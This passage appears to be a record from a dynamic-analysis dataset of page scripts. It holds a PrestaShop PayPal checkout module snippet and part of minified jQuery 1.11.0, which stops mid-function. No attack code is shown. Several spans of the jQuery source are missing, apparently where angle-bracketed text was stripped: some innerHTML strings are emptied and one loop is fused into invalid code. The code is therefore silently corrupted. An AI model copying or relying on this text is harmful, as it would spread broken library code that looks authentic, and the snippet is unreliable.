needs please refer to http://www.prestashop.com for more information. * * @author PrestaShop SA * @copyright 2007-2016 PrestaShop SA * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) * International Registered Trademark & Property of PrestaShop SA */function updateFormDatas() { var nb = $('#quantity_wanted').val(); var id = $('#idCombination').val();$('#paypal_payment_form input[name=quantity]').val(nb); $('#paypal_payment_form input[name=id_p_attr]').val(id); } $(document).ready( function() {if($('#in_context_checkout_enabled').val() != 1) { $('#payment_paypal_express_checkout').click(function() { $('#paypal_payment_form').submit(); return false; }); }var jquery_version = $.fn.jquery.split('.'); if(jquery_version[0]>=1 && jquery_version[1] >= 7) { $('body').on('submit',\"#paypal_payment_form\", function () { updateFormDatas(); }); } else { $('#paypal_payment_form').live('submit', function () { updateFormDatas(); }); }function displayExpressCheckoutShortcut() { var id_product = $('input[name=\"id_product\"]').val(); var id_product_attribute = $('input[name=\"id_product_attribute\"]').val(); $.ajax({ type: \"GET\", url: baseDir+'/modules/paypal/express_checkout/ajax.php', data: { get_qty: \"1\", id_product: id_product, id_product_attribute: id_product_attribute }, cache: false, success: function(result) { if (result == '1') { $('#container_express_checkout').slideDown(); } else { $('#container_express_checkout').slideUp(); } return true; } }); }$('select[name^=\"group_\"]').change(function () { setTimeout(function(){displayExpressCheckoutShortcut()}, 500); });$('.color_pick').click(function () { setTimeout(function(){displayExpressCheckoutShortcut()}, 500); });if($('body#product').length > 0) setTimeout(function(){displayExpressCheckoutShortcut()}, 500);var modulePath = 'modules/paypal'; var subFolder = '/integral_evolution'; var baseDirPP = baseDir; var fullPath = baseDirPP + modulePath + subFolder; var confirmTimer = false; if ($('form[target=\"hss_iframe\"]').length == 0) { if ($('select[name^=\"group_\"]').length > 0) displayExpressCheckoutShortcut(); return false; } else { checkOrder(); }function checkOrder() { if(confirmTimer == false) confirmTimer = setInterval(getOrdersCount, 1000); }});", "relationship": "Contained_Inside", "method": "Dynamic Analysis", "language": "Javascript" }, { "snippet": "/*! jQuery v1.11.0 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */!function(a,b){\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error(\"jQuery requires a window with a document\");return b(a)}:b(a)}(\"undefined\"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k=\"\".trim,l={},m=\"1.11.0\",n=function(a,b){return new n.fn.init(a,b)},o=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g,p=/^-ms-/,q=/-([\\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:\"\",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return n.each(this,a,b)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:c.sort,splice:c.splice},n.extend=n.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for(\"boolean\"==typeof g&&(j=g,g=arguments[h]||{},h++),\"object\"==typeof g||n.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(e=arguments[h]))for(d in e)a=g[d],c=e[d],g!==c&&(j&&c&&(n.isPlainObject(c)||(b=n.isArray(c)))?(b?(b=!1,f=a&&n.isArray(a)?a:[]):f=a&&n.isPlainObject(a)?a:{},g[d]=n.extend(j,f,c)):void 0!==c&&(g[d]=c));return g},n.extend({expando:\"jQuery\"+(m+Math.random()).replace(/\\D/g,\"\"),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return\"function\"===n.type(a)},isArray:Array.isArray||function(a){return\"array\"===n.type(a)},isWindow:function(a){return null!=a&&a==a.window},isNumeric:function(a){return a-parseFloat(a)>=0},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},isPlainObject:function(a){var b;if(!a||\"object\"!==n.type(a)||a.nodeType||n.isWindow(a))return!1;try{if(a.constructor&&!j.call(a,\"constructor\")&&!j.call(a.constructor.prototype,\"isPrototypeOf\"))return!1}catch(c){return!1}if(l.ownLast)for(b in a)return j.call(a,b);for(b in a);return void 0===b||j.call(a,b)},type:function(a){return null==a?a+\"\":\"object\"==typeof a||\"function\"==typeof a?h[i.call(a)]||\"object\":typeof a},globalEval:function(b){b&&n.trim(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(p,\"ms-\").replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b,c){var d,e=0,f=a.length,g=s(a);if(c){if(g){for(;f>e;e++)if(d=b.apply(a[e],c),d===!1)break}else for(e in a)if(d=b.apply(a[e],c),d===!1)break}else if(g){for(;f>e;e++)if(d=b.call(a[e],e,a[e]),d===!1)break}else for(e in a)if(d=b.call(a[e],e,a[e]),d===!1)break;return a},trim:k&&!k.call(\"\\ufeff\\xa0\")?function(a){return null==a?\"\":k.call(a)}:function(a){return null==a?\"\":(a+\"\").replace(o,\"\")},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?n.merge(c,\"string\"==typeof a?[a]:a):f.call(c,a)),c},inArray:function(a,b,c){var d;if(b){if(g)return g.call(b,a,c);for(d=b.length,c=c?0>c?Math.max(0,d+c):c:0;d>c;c++)if(c in b&&b[c]===a)return c}return-1},merge:function(a,b){var c=+b.length,d=0,e=a.length;while(c>d)a[e++]=b[d++];if(c!==c)while(void 0!==b[d])a[e++]=b[d++];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,f=0,g=a.length,h=s(a),i=[];if(h)for(;g>f;f++)d=b(a[f],f,c),null!=d&&i.push(d);else for(f in a)d=b(a[f],f,c),null!=d&&i.push(d);return e.apply([],i)},guid:1,proxy:function(a,b){var c,e,f;return\"string\"==typeof b&&(f=a[b],b=a,a=f),n.isFunction(a)?(c=d.call(arguments,2),e=function(){return a.apply(b||this,c.concat(d.call(arguments)))},e.guid=a.guid=a.guid||n.guid++,e):void 0},now:function(){return+new Date},support:l}),n.each(\"Boolean Number String Function Array Date RegExp Object Error\".split(\" \"),function(a,b){h[\"[object \"+b+\"]\"]=b.toLowerCase()});function s(a){var b=a.length,c=n.type(a);return\"function\"===c||n.isWindow(a)?!1:1===a.nodeType&&b?!0:\"array\"===c||0===b||\"number\"==typeof b&&b>0&&b-1 in a}var t=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s=\"sizzle\"+-new Date,t=a.document,u=0,v=0,w=eb(),x=eb(),y=eb(),z=function(a,b){return a===b&&(j=!0),0},A=\"undefined\",B=1<<31,C={}.hasOwnProperty,D=[],E=D.pop,F=D.push,G=D.push,H=D.slice,I=D.indexOf||function(a){for(var b=0,c=this.length;c>b;b++)if(this[b]===a)return b;return-1},J=\"checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped\",K=\"[\\\\x20\\\\t\\\\r\\\\n\\\\f]\",L=\"(?:\\\\\\\\.|[\\\\w-]|[^\\\\x00-\\\\xa0])+\",M=L.replace(\"w\",\"w#\"),N=\"\\\\[\"+K+\"*(\"+L+\")\"+K+\"*(?:([*^$|!~]?=)\"+K+\"*(?:(['\\\"])((?:\\\\\\\\.|[^\\\\\\\\])*?)\\\\3|(\"+M+\")|)|)\"+K+\"*\\\\]\",O=\":(\"+L+\")(?:\\\\(((['\\\"])((?:\\\\\\\\.|[^\\\\\\\\])*?)\\\\3|((?:\\\\\\\\.|[^\\\\\\\\()[\\\\]]|\"+N.replace(3,8)+\")*)|.*)\\\\)|)\",P=new RegExp(\"^\"+K+\"+|((?:^|[^\\\\\\\\])(?:\\\\\\\\.)*)\"+K+\"+$\",\"g\"),Q=new RegExp(\"^\"+K+\"*,\"+K+\"*\"),R=new RegExp(\"^\"+K+\"*([>+~]|\"+K+\")\"+K+\"*\"),S=new RegExp(\"=\"+K+\"*([^\\\\]'\\\"]*?)\"+K+\"*\\\\]\",\"g\"),T=new RegExp(O),U=new RegExp(\"^\"+M+\"$\"),V={ID:new RegExp(\"^#(\"+L+\")\"),CLASS:new RegExp(\"^\\\\.(\"+L+\")\"),TAG:new RegExp(\"^(\"+L.replace(\"w\",\"w*\")+\")\"),ATTR:new RegExp(\"^\"+N),PSEUDO:new RegExp(\"^\"+O),CHILD:new RegExp(\"^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\\\(\"+K+\"*(even|odd|(([+-]|)(\\\\d*)n|)\"+K+\"*(?:([+-]|)\"+K+\"*(\\\\d+)|))\"+K+\"*\\\\)|)\",\"i\"),bool:new RegExp(\"^(?:\"+J+\")$\",\"i\"),needsContext:new RegExp(\"^\"+K+\"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\\\(\"+K+\"*((?:-\\\\d)?\\\\d*)\"+K+\"*\\\\)|)(?=[^-]|$)\",\"i\")},W=/^(?:input|select|textarea|button)$/i,X=/^h\\d$/i,Y=/^[^{]+\\{\\s*\\[native \\w/,Z=/^(?:#([\\w-]+)|(\\w+)|\\.([\\w-]+))$/,$=/[+~]/,_=/'|\\\\/g,ab=new RegExp(\"\\\\\\\\([\\\\da-f]{1,6}\"+K+\"?|(\"+K+\")|.)\",\"ig\"),bb=function(a,b,c){var d=\"0x\"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)};try{G.apply(D=H.call(t.childNodes),t.childNodes),D[t.childNodes.length].nodeType}catch(cb){G={apply:D.length?function(a,b){F.apply(a,H.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function db(a,b,d,e){var f,g,h,i,j,m,p,q,u,v;if((b?b.ownerDocument||b:t)!==l&&k(b),b=b||l,d=d||[],!a||\"string\"!=typeof a)return d;if(1!==(i=b.nodeType)&&9!==i)return[];if(n&&!e){if(f=Z.exec(a))if(h=f[1]){if(9===i){if(g=b.getElementById(h),!g||!g.parentNode)return d;if(g.id===h)return d.push(g),d}else if(b.ownerDocument&&(g=b.ownerDocument.getElementById(h))&&r(b,g)&&g.id===h)return d.push(g),d}else{if(f[2])return G.apply(d,b.getElementsByTagName(a)),d;if((h=f[3])&&c.getElementsByClassName&&b.getElementsByClassName)return G.apply(d,b.getElementsByClassName(h)),d}if(c.qsa&&(!o||!o.test(a))){if(q=p=s,u=b,v=9===i&&a,1===i&&\"object\"!==b.nodeName.toLowerCase()){m=ob(a),(p=b.getAttribute(\"id\"))?q=p.replace(_,\"\\\\$&\"):b.setAttribute(\"id\",q),q=\"[id='\"+q+\"'] \",j=m.length;while(j--)m[j]=q+pb(m[j]);u=$.test(a)&&mb(b.parentNode)||b,v=m.join(\",\")}if(v)try{return G.apply(d,u.querySelectorAll(v)),d}catch(w){}finally{p||b.removeAttribute(\"id\")}}}return xb(a.replace(P,\"$1\"),b,d,e)}function eb(){var a=[];function b(c,e){return a.push(c+\" \")>d.cacheLength&&delete b[a.shift()],b[c+\" \"]=e}return b}function fb(a){return a[s]=!0,a}function gb(a){var b=l.createElement(\"div\");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function hb(a,b){var c=a.split(\"|\"),e=a.length;while(e--)d.attrHandle[c[e]]=b}function ib(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||B)-(~a.sourceIndex||B);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function jb(a){return function(b){var c=b.nodeName.toLowerCase();return\"input\"===c&&b.type===a}}function kb(a){return function(b){var c=b.nodeName.toLowerCase();return(\"input\"===c||\"button\"===c)&&b.type===a}}function lb(a){return fb(function(b){return b=+b,fb(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function mb(a){return a&&typeof a.getElementsByTagName!==A&&a}c=db.support={},f=db.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?\"HTML\"!==b.nodeName:!1},k=db.setDocument=function(a){var b,e=a?a.ownerDocument||a:t,g=e.defaultView;return e!==l&&9===e.nodeType&&e.documentElement?(l=e,m=e.documentElement,n=!f(e),g&&g!==g.top&&(g.addEventListener?g.addEventListener(\"unload\",function(){k()},!1):g.attachEvent&&g.attachEvent(\"onunload\",function(){k()})),c.attributes=gb(function(a){return a.className=\"i\",!a.getAttribute(\"className\")}),c.getElementsByTagName=gb(function(a){return a.appendChild(e.createComment(\"\")),!a.getElementsByTagName(\"*\").length}),c.getElementsByClassName=Y.test(e.getElementsByClassName)&&gb(function(a){return a.innerHTML=\"
    \",a.firstChild.className=\"i\",2===a.getElementsByClassName(\"i\").length}),c.getById=gb(function(a){return m.appendChild(a).id=s,!e.getElementsByName||!e.getElementsByName(s).length}),c.getById?(d.find.ID=function(a,b){if(typeof b.getElementById!==A&&n){var c=b.getElementById(a);return c&&c.parentNode?[c]:[]}},d.filter.ID=function(a){var b=a.replace(ab,bb);return function(a){return a.getAttribute(\"id\")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(ab,bb);return function(a){var c=typeof a.getAttributeNode!==A&&a.getAttributeNode(\"id\");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return typeof b.getElementsByTagName!==A?b.getElementsByTagName(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if(\"*\"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return typeof b.getElementsByClassName!==A&&n?b.getElementsByClassName(a):void 0},p=[],o=[],(c.qsa=Y.test(e.querySelectorAll))&&(gb(function(a){a.innerHTML=\"\",a.querySelectorAll(\"[t^='']\").length&&o.push(\"[*^$]=\"+K+\"*(?:''|\\\"\\\")\"),a.querySelectorAll(\"[selected]\").length||o.push(\"\\\\[\"+K+\"*(?:value|\"+J+\")\"),a.querySelectorAll(\":checked\").length||o.push(\":checked\")}),gb(function(a){var b=e.createElement(\"input\");b.setAttribute(\"type\",\"hidden\"),a.appendChild(b).setAttribute(\"name\",\"D\"),a.querySelectorAll(\"[name=d]\").length&&o.push(\"name\"+K+\"*[*^$|!~]?=\"),a.querySelectorAll(\":enabled\").length||o.push(\":enabled\",\":disabled\"),a.querySelectorAll(\"*,:x\"),o.push(\",.*:\")})),(c.matchesSelector=Y.test(q=m.webkitMatchesSelector||m.mozMatchesSelector||m.oMatchesSelector||m.msMatchesSelector))&&gb(function(a){c.disconnectedMatch=q.call(a,\"div\"),q.call(a,\"[s!='']:x\"),p.push(\"!=\",O)}),o=o.length&&new RegExp(o.join(\"|\")),p=p.length&&new RegExp(p.join(\"|\")),b=Y.test(m.compareDocumentPosition),r=b||Y.test(m.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},z=b?function(a,b){if(a===b)return j=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===e||a.ownerDocument===t&&r(t,a)?-1:b===e||b.ownerDocument===t&&r(t,b)?1:i?I.call(i,a)-I.call(i,b):0:4&d?-1:1)}:function(a,b){if(a===b)return j=!0,0;var c,d=0,f=a.parentNode,g=b.parentNode,h=[a],k=[b];if(!f||!g)return a===e?-1:b===e?1:f?-1:g?1:i?I.call(i,a)-I.call(i,b):0;if(f===g)return ib(a,b);c=a;while(c=c.parentNode)h.unshift(c);c=b;while(c=c.parentNode)k.unshift(c);while(h[d]===k[d])d++;return d?ib(h[d],k[d]):h[d]===t?-1:k[d]===t?1:0},e):l},db.matches=function(a,b){return db(a,null,null,b)},db.matchesSelector=function(a,b){if((a.ownerDocument||a)!==l&&k(a),b=b.replace(S,\"='$1']\"),!(!c.matchesSelector||!n||p&&p.test(b)||o&&o.test(b)))try{var d=q.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return db(b,l,null,[a]).length>0},db.contains=function(a,b){return(a.ownerDocument||a)!==l&&k(a),r(a,b)},db.attr=function(a,b){(a.ownerDocument||a)!==l&&k(a);var e=d.attrHandle[b.toLowerCase()],f=e&&C.call(d.attrHandle,b.toLowerCase())?e(a,b,!n):void 0;return void 0!==f?f:c.attributes||!n?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},db.error=function(a){throw new Error(\"Syntax error, unrecognized expression: \"+a)},db.uniqueSort=function(a){var b,d=[],e=0,f=0;if(j=!c.detectDuplicates,i=!c.sortStable&&a.slice(0),a.sort(z),j){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return i=null,a},e=db.getText=function(a){var b,c=\"\",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if(\"string\"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=db.selectors={cacheLength:50,createPseudo:fb,match:V,attrHandle:{},find:{},relative:{\">\":{dir:\"parentNode\",first:!0},\" \":{dir:\"parentNode\"},\"+\":{dir:\"previousSibling\",first:!0},\"~\":{dir:\"previousSibling\"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(ab,bb),a[3]=(a[4]||a[5]||\"\").replace(ab,bb),\"~=\"===a[2]&&(a[3]=\" \"+a[3]+\" \"),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),\"nth\"===a[1].slice(0,3)?(a[3]||db.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*(\"even\"===a[3]||\"odd\"===a[3])),a[5]=+(a[7]+a[8]||\"odd\"===a[3])):a[3]&&db.error(a[0]),a},PSEUDO:function(a){var b,c=!a[5]&&a[2];return V.CHILD.test(a[0])?null:(a[3]&&void 0!==a[4]?a[2]=a[4]:c&&T.test(c)&&(b=ob(c,!0))&&(b=c.indexOf(\")\",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(ab,bb).toLowerCase();return\"*\"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=w[a+\" \"];return b||(b=new RegExp(\"(^|\"+K+\")\"+a+\"(\"+K+\"|$)\"))&&w(a,function(a){return b.test(\"string\"==typeof a.className&&a.className||typeof a.getAttribute!==A&&a.getAttribute(\"class\")||\"\")})},ATTR:function(a,b,c){return function(d){var e=db.attr(d,a);return null==e?\"!=\"===b:b?(e+=\"\",\"=\"===b?e===c:\"!=\"===b?e!==c:\"^=\"===b?c&&0===e.indexOf(c):\"*=\"===b?c&&e.indexOf(c)>-1:\"$=\"===b?c&&e.slice(-c.length)===c:\"~=\"===b?(\" \"+e+\" \").indexOf(c)>-1:\"|=\"===b?e===c||e.slice(0,c.length+1)===c+\"-\":!1):!0}},CHILD:function(a,b,c,d,e){var f=\"nth\"!==a.slice(0,3),g=\"last\"!==a.slice(-4),h=\"of-type\"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?\"nextSibling\":\"previousSibling\",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),t=!i&&!h;if(q){if(f){while(p){l=b;while(l=l[p])if(h?l.nodeName.toLowerCase()===r:1===l.nodeType)return!1;o=p=\"only\"===a&&!o&&\"nextSibling\"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&t){k=q[s]||(q[s]={}),j=k[a]||[],n=j[0]===u&&j[1],m=j[0]===u&&j[2],l=n&&q.childNodes[n];while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if(1===l.nodeType&&++m&&l===b){k[a]=[u,n,m];break}}else if(t&&(j=(b[s]||(b[s]={}))[a])&&j[0]===u)m=j[1];else while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if((h?l.nodeName.toLowerCase()===r:1===l.nodeType)&&++m&&(t&&((l[s]||(l[s]={}))[a]=[u,m]),l===b))break;return m-=e,m===d||m%d===0&&m/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||db.error(\"unsupported pseudo: \"+a);return e[s]?e(b):e.length>1?(c=[a,a,\"\",b],d.setFilters.hasOwnProperty(a.toLowerCase())?fb(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=I.call(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:fb(function(a){var b=[],c=[],d=g(a.replace(P,\"$1\"));return d[s]?fb(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),!c.pop()}}),has:fb(function(a){return function(b){return db(a,b).length>0}}),contains:fb(function(a){return function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:fb(function(a){return U.test(a||\"\")||db.error(\"unsupported lang: \"+a),a=a.replace(ab,bb).toLowerCase(),function(b){var c;do if(c=n?b.lang:b.getAttribute(\"xml:lang\")||b.getAttribute(\"lang\"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+\"-\");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===m},focus:function(a){return a===l.activeElement&&(!l.hasFocus||l.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return\"input\"===b&&!!a.checked||\"option\"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return X.test(a.nodeName)},input:function(a){return W.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return\"input\"===b&&\"button\"===a.type||\"button\"===b},text:function(a){var b;return\"input\"===a.nodeName.toLowerCase()&&\"text\"===a.type&&(null==(b=a.getAttribute(\"type\"))||\"text\"===b.toLowerCase())},first:lb(function(){return[0]}),last:lb(function(a,b){return[b-1]}),eq:lb(function(a,b,c){return[0>c?c+b:c]}),even:lb(function(a,b){for(var c=0;b>c;c+=2)a.push(c);return a}),odd:lb(function(a,b){for(var c=1;b>c;c+=2)a.push(c);return a}),lt:lb(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;)a.push(d);return a}),gt:lb(function(a,b,c){for(var d=0>c?c+b:c;++db;b++)d+=a[b].value;return d}function qb(a,b,c){var d=b.dir,e=c&&\"parentNode\"===d,f=v++;return b.first?function(b,c,f){while(b=b[d])if(1===b.nodeType||e)return a(b,c,f)}:function(b,c,g){var h,i,j=[u,f];if(g){while(b=b[d])if((1===b.nodeType||e)&&a(b,c,g))return!0}else while(b=b[d])if(1===b.nodeType||e){if(i=b[s]||(b[s]={}),(h=i[d])&&h[0]===u&&h[1]===f)return j[2]=h[2];if(i[d]=j,j[2]=a(b,c,g))return!0}}}function rb(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function sb(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++)(f=a[h])&&(!c||c(f,d,e))&&(g.push(f),j&&b.push(h));return g}function tb(a,b,c,d,e,f){return d&&!d[s]&&(d=tb(d)),e&&!e[s]&&(e=tb(e,f)),fb(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||wb(b||\"*\",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:sb(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=sb(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?I.call(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=sb(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):G.apply(g,r)})}function ub(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],i=g||d.relative[\" \"],j=g?1:0,k=qb(function(a){return a===b},i,!0),l=qb(function(a){return I.call(b,a)>-1},i,!0),m=[function(a,c,d){return!g&&(d||c!==h)||((b=c).nodeType?k(a,c,d):l(a,c,d))}];f>j;j++)if(c=d.relative[a[j].type])m=[qb(rb(m),c)];else{if(c=d.filter[a[j].type].apply(null,a[j].matches),c[s]){for(e=++j;f>e;e++)if(d.relative[a[e].type])break;return tb(j>1&&rb(m),j>1&&pb(a.slice(0,j-1).concat({value:\" \"===a[j-2].type?\"*\":\"\"})).replace(P,\"$1\"),c,e>j&&ub(a.slice(j,e)),f>e&&ub(a=a.slice(e)),f>e&&pb(a))}m.push(c)}return rb(m)}function vb(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,i,j,k){var m,n,o,p=0,q=\"0\",r=f&&[],s=[],t=h,v=f||e&&d.find.TAG(\"*\",k),w=u+=null==t?1:Math.random()||.1,x=v.length;for(k&&(h=g!==l&&g);q!==x&&null!=(m=v[q]);q++){if(e&&m){n=0;while(o=a[n++])if(o(m,g,i)){j.push(m);break}k&&(u=w)}c&&((m=!o&&m)&&p--,f&&r.push(m))}if(p+=q,c&&q!==p){n=0;while(o=b[n++])o(r,s,g,i);if(f){if(p>0)while(q--)r[q]||s[q]||(s[q]=E.call(j));s=sb(s)}G.apply(j,s),k&&!f&&s.length>0&&p+b.length>1&&db.uniqueSort(j)}return k&&(u=w,h=t),r};return c?fb(f):f}g=db.compile=function(a,b){var c,d=[],e=[],f=y[a+\" \"];if(!f){b||(b=ob(a)),c=b.length;while(c--)f=ub(b[c]),f[s]?d.push(f):e.push(f);f=y(a,vb(e,d))}return f};function wb(a,b,c){for(var d=0,e=b.length;e>d;d++)db(a,b[d],c);return c}function xb(a,b,e,f){var h,i,j,k,l,m=ob(a);if(!f&&1===m.length){if(i=m[0]=m[0].slice(0),i.length>2&&\"ID\"===(j=i[0]).type&&c.getById&&9===b.nodeType&&n&&d.relative[i[1].type]){if(b=(d.find.ID(j.matches[0].replace(ab,bb),b)||[])[0],!b)return e;a=a.slice(i.shift().value.length)}h=V.needsContext.test(a)?0:i.length;while(h--){if(j=i[h],d.relative[k=j.type])break;if((l=d.find[k])&&(f=l(j.matches[0].replace(ab,bb),$.test(i[0].type)&&mb(b.parentNode)||b))){if(i.splice(h,1),a=f.length&&pb(i),!a)return G.apply(e,f),e;break}}}return g(a,m)(f,b,!n,e,$.test(a)&&mb(b.parentNode)||b),e}return c.sortStable=s.split(\"\").sort(z).join(\"\")===s,c.detectDuplicates=!!j,k(),c.sortDetached=gb(function(a){return 1&a.compareDocumentPosition(l.createElement(\"div\"))}),gb(function(a){return a.innerHTML=\"\",\"#\"===a.firstChild.getAttribute(\"href\")})||hb(\"type|href|height|width\",function(a,b,c){return c?void 0:a.getAttribute(b,\"type\"===b.toLowerCase()?1:2)}),c.attributes&&gb(function(a){return a.innerHTML=\"\",a.firstChild.setAttribute(\"value\",\"\"),\"\"===a.firstChild.getAttribute(\"value\")})||hb(\"value\",function(a,b,c){return c||\"input\"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),gb(function(a){return null==a.getAttribute(\"disabled\")})||hb(J,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),db}(a);n.find=t,n.expr=t.selectors,n.expr[\":\"]=n.expr.pseudos,n.unique=t.uniqueSort,n.text=t.getText,n.isXMLDoc=t.isXML,n.contains=t.contains;var u=n.expr.match.needsContext,v=/^<(\\w+)\\s*\\/?>(?:<\\/\\1>|)$/,w=/^.[^:#\\[\\.,]*$/;function x(a,b,c){if(n.isFunction(b))return n.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return n.grep(a,function(a){return a===b!==c});if(\"string\"==typeof b){if(w.test(b))return n.filter(b,a,c);b=n.filter(b,a)}return n.grep(a,function(a){return n.inArray(a,b)>=0!==c})}n.filter=function(a,b,c){var d=b[0];return c&&(a=\":not(\"+a+\")\"),1===b.length&&1===d.nodeType?n.find.matchesSelector(d,a)?[d]:[]:n.find.matches(a,n.grep(b,function(a){return 1===a.nodeType}))},n.fn.extend({find:function(a){var b,c=[],d=this,e=d.length;if(\"string\"!=typeof a)return 